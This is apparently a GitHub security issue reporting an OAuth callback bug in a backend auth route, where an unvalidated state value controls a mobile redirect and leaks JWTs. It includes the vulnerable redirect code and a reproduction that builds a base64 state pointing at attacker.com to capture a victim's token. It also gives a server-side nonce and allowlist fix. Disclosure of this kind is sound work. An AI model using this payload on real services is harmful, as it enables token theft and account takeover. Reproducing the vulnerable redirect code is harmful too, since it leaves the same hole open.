Skip to content

OAuth callbacks trust unvalidated state and allow arbitrary mobile redirect token exfiltration #299

Description

@Ridanshi

Summary

The OAuth callback flow currently trusts attacker-controlled state payloads without performing any server-side validation.

Additionally, mobile_redirect_uri is decoded directly from the supplied state value and used as a redirect target without any allowlist enforcement.

This creates:

  • OAuth CSRF risk,
  • account-linking integrity issues,
  • and JWT token exfiltration through arbitrary redirect targets.

Affected File

apps/backend/src/routes/auth.ts

Root Cause

The OAuth flow generates state values containing:

{
  "mobile_redirect_uri": "...",
  "nonce": "..."
}

However:

  • the nonce is never persisted server-side,
  • the callback never validates the state,
  • and the redirect URI is trusted directly from the attacker-controlled payload.

Current callback behavior:

const { mobile_redirect_uri } = JSON.parse(atob(state));

if (mobile_redirect_uri) {
  return reply.redirect(`${mobile_redirect_uri}#token=${token}`);
}

There is currently:

  • no Redis/session nonce validation,
  • no replay protection,
  • and no redirect allowlist.

Security Impact

1. OAuth CSRF

Attackers can:

  • initiate OAuth flows themselves,
  • manipulate callback state,
  • and interfere with victim authorization flows.

2. JWT Token Exfiltration

Attackers can supply:

{
  "mobile_redirect_uri": "https://attacker.com"
}

After OAuth completion, the backend redirects:

https://attacker.com#token=<victim-jwt>

This leaks authenticated JWTs directly to attacker-controlled infrastructure.


Reproduction

Craft malicious state:

STATE=$(echo -n '{"mobile_redirect_uri":"https://attacker.com"}' | base64)

Victim visits:

https://api.devcard.app/auth/github?state=$STATE

After successful OAuth authorization:

https://attacker.com#token=<victim-jwt>

receives the victim token.


Proposed Fix

Implement proper server-side OAuth state validation.

Recommended approach:

During OAuth initiation

  • generate cryptographically secure nonce
  • store nonce in Redis/session storage
  • apply short expiration window

During callback

  • validate returned nonce
  • reject unknown/expired/replayed state values
  • consume nonce after successful validation

Redirect Validation

Restrict mobile_redirect_uri to a strict allowlist of approved application schemes/domains.

Reject:

  • arbitrary http://
  • arbitrary https://
  • unknown origins

Acceptance Criteria

  • OAuth state is validated server-side
  • replay attacks are rejected
  • arbitrary redirect URIs are blocked
  • JWTs cannot be redirected to attacker-controlled origins
  • invalid/expired state values fail safely
  • existing OAuth flows continue functioning correctly

Why This Matters

This issue affects the integrity of the authentication system itself and enables direct token theft through attacker-controlled OAuth callback flows.

Metadata

Metadata

Assignees

Labels

No labels
No labels

Type

No type

Projects

Status
In progress

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions